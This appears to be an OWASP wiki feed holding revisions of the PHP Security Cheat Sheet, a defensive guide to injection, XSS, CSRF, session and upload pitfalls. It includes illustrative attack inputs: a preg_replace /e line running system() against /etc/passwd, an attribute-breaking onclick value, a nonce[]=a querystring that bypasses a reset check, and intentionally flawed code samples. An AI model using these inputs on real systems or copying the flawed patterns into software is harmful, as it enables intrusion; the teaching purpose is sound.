&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you should use query builder that is provided by a framework. Do not roll your own.&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
    return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
    echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
* Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
* Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
[mailto:L.Plant.98@cantab.net Luke Plant]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=184335</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=184335"/>
				<updated>2014-10-30T08:34:44Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: /* Unhelpful builtins */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP overview==&lt;br /&gt;
&lt;br /&gt;
PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.&lt;br /&gt;
&lt;br /&gt;
An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the latter. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.&lt;br /&gt;
&lt;br /&gt;
Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.&lt;br /&gt;
&lt;br /&gt;
===Language issues===&lt;br /&gt;
&lt;br /&gt;
====Weak typing====&lt;br /&gt;
&lt;br /&gt;
PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).&lt;br /&gt;
&lt;br /&gt;
Try to use functions and operators that do not do implicit type conversions (e.g. &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; and not &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt;). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like &amp;lt;code&amp;gt;in_array&amp;lt;/code&amp;gt;) use weakly typed comparison functions by default, making it difficult to write correct code.&lt;br /&gt;
&lt;br /&gt;
====Exceptions and error handling====&lt;br /&gt;
&lt;br /&gt;
Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In other languages, error conditions that are caused by developer errors, or runtime errors that the developer has failed to anticipate, will cause the program to stop running, which is the safest thing to do.&lt;br /&gt;
&lt;br /&gt;
Consider the following code which limits attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:&lt;br /&gt;
&lt;br /&gt;
    $db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');&lt;br /&gt;
&lt;br /&gt;
    function can_access_feature($current_user) {&lt;br /&gt;
        global $db_link;&lt;br /&gt;
        $username = mysqli_real_escape_string($db_link, $current_user-&amp;gt;username);&lt;br /&gt;
        $res = mysqli_query($db_link, &amp;quot;SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';&amp;quot;);&lt;br /&gt;
        $row = mysqli_fetch_array($res);&lt;br /&gt;
        if ((int)$row[0] &amp;gt; 0) {&lt;br /&gt;
            return false;&lt;br /&gt;
        } else {&lt;br /&gt;
            return true;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    if (!can_access_feature($current_user)) {&lt;br /&gt;
        exit();&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    // Code for feature here&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the &amp;lt;code&amp;gt;mysqli_&amp;lt;/code&amp;gt; functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable &amp;lt;code&amp;gt;$row&amp;lt;/code&amp;gt; becomes &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and PHP will evaluate &amp;lt;code&amp;gt;$row[0]&amp;lt;/code&amp;gt; also as &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and &amp;lt;code&amp;gt;(int)$row[0]&amp;lt;/code&amp;gt; as &amp;lt;code&amp;gt;0&amp;lt;/code&amp;gt;, due to weak typing. Eventually the &amp;lt;code&amp;gt;can_access_feature&amp;lt;/code&amp;gt; function returns &amp;lt;code&amp;gt;true&amp;lt;/code&amp;gt;, giving access to all users, whether they are on the blacklist or not.&lt;br /&gt;
&lt;br /&gt;
The correct way to deal with this is to add error checking at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate. While PHP in some ways appears to be a high-level language, when it comes to errors it is a low-level language like C, and requires diligent checking of many possibly error conditions. This makes it much harder to write secure code using PHP than with other high-level languages that are normally used for web development.&lt;br /&gt;
&lt;br /&gt;
It is often best to turn up error reporting as high as possible using the&lt;br /&gt;
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.&lt;br /&gt;
&lt;br /&gt;
====php.ini====&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”&lt;br /&gt;
&lt;br /&gt;
====Unhelpful builtins====&lt;br /&gt;
&lt;br /&gt;
PHP comes with many built-in functions, such as &amp;lt;code&amp;gt;addslashes&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mysql_escape_string&amp;lt;/code&amp;gt; and&lt;br /&gt;
&amp;lt;code&amp;gt;mysql_real_escape_string&amp;lt;/code&amp;gt;, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.&lt;br /&gt;
&lt;br /&gt;
Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.&lt;br /&gt;
&lt;br /&gt;
PHP also provides an 'array' data structure, which is used extensively in all PHP code and internally, that is a confusing mix between an array and a dictionary. This confusion can cause even experience PHP developers to introduce critical security vulnerabilities such as [https://www.drupal.org/SA-CORE-2014-005 Drupal SA-CORE-2014-005] (see [http://cgit.drupalcode.org/drupal/commit/?id=26a7752c34321fd9cb889308f507ca6bdb777f08 the patch]).&lt;br /&gt;
&lt;br /&gt;
===Framework issues===&lt;br /&gt;
&lt;br /&gt;
====URL routing====&lt;br /&gt;
&lt;br /&gt;
PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:&lt;br /&gt;
&lt;br /&gt;
* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.&lt;br /&gt;
&lt;br /&gt;
* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static  assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use &amp;lt;code&amp;gt;.htaccess&amp;lt;/code&amp;gt; to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.&lt;br /&gt;
&lt;br /&gt;
====Input handling====&lt;br /&gt;
&lt;br /&gt;
Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a &amp;quot;one time nonce&amp;quot; mechanism that might be used, for example in a password reset code:&lt;br /&gt;
&lt;br /&gt;
    $supplied_nonce = $_GET['nonce'];&lt;br /&gt;
    $correct_nonce = get_correct_value_somehow();&lt;br /&gt;
    &lt;br /&gt;
    if (strcmp($supplied_nonce, $correct_nonce) == 0) {&lt;br /&gt;
        // Go ahead and reset the password&lt;br /&gt;
    } else {&lt;br /&gt;
        echo 'Sorry, incorrect link';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
If an attacker uses a querystring like this:&lt;br /&gt;
&lt;br /&gt;
    http://example.com/?nonce[]=a&lt;br /&gt;
&lt;br /&gt;
then we end up with &amp;lt;code&amp;gt;$supplied_nonce&amp;lt;/code&amp;gt; being an array. The function &amp;lt;code&amp;gt;strcmp()&amp;lt;/code&amp;gt; will then return &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt; (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; (equality) operator instead of the &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; (identity) operator, the comparison succeeds (since the expression &amp;lt;code&amp;gt;NULL == 0&amp;lt;/code&amp;gt; is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.&lt;br /&gt;
&lt;br /&gt;
====Template language====&lt;br /&gt;
&lt;br /&gt;
PHP is essentially a template language. However, it doesn't do HTML escaping by&lt;br /&gt;
default, which makes it very problematic for use in a web application - see&lt;br /&gt;
section on XSS below.&lt;br /&gt;
&lt;br /&gt;
====Other inadequacies====&lt;br /&gt;
&lt;br /&gt;
There are other important things that a web framework should supply, such as a&lt;br /&gt;
CSRF protection mechanism that is on by default. Because PHP comes with a&lt;br /&gt;
rudimentary web framework that is functional enough to allow people to create&lt;br /&gt;
web sites, many people will do so without any knowledge that they need CSRF&lt;br /&gt;
protection.&lt;br /&gt;
&lt;br /&gt;
===Third party PHP code===&lt;br /&gt;
&lt;br /&gt;
Libraries and projects written in PHP are often insecure due to the problems&lt;br /&gt;
highlighted above, especially when proper web frameworks are not used. Do not&lt;br /&gt;
trust PHP code that you find on the web, as many security vulnerabilities can&lt;br /&gt;
hide in seemingly innocent code.&lt;br /&gt;
&lt;br /&gt;
Poorly written PHP code often results in warnings being emitted, which can cause&lt;br /&gt;
problems. A common solution is to turn off all notices, which is exactly the opposite&lt;br /&gt;
of what ought to be done (see above), and leads to progressively worse code.&lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Configuration=&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP is strongly affected by configuration, which can be done through the &amp;quot;php.ini&amp;quot; file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php&lt;br /&gt;
&lt;br /&gt;
There are many security related configuration options. Some are listed below:&lt;br /&gt;
&lt;br /&gt;
==SetHandler==&lt;br /&gt;
&lt;br /&gt;
PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name &amp;quot;foo.php.txt&amp;quot; will be handled as PHP code, which can be a very serious remote execution vulnerability if &amp;quot;foo.php.txt&amp;quot; was not intended to be executed (e.g. example code) or came from a malicious file upload.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).&lt;br /&gt;
&lt;br /&gt;
==File uploads==&lt;br /&gt;
&lt;br /&gt;
Files received from a user pose various security threats, especially if other users can download these files. In particular:&lt;br /&gt;
&lt;br /&gt;
* Any file served as HTML can be used to do an XSS attack&lt;br /&gt;
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.&lt;br /&gt;
&lt;br /&gt;
Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
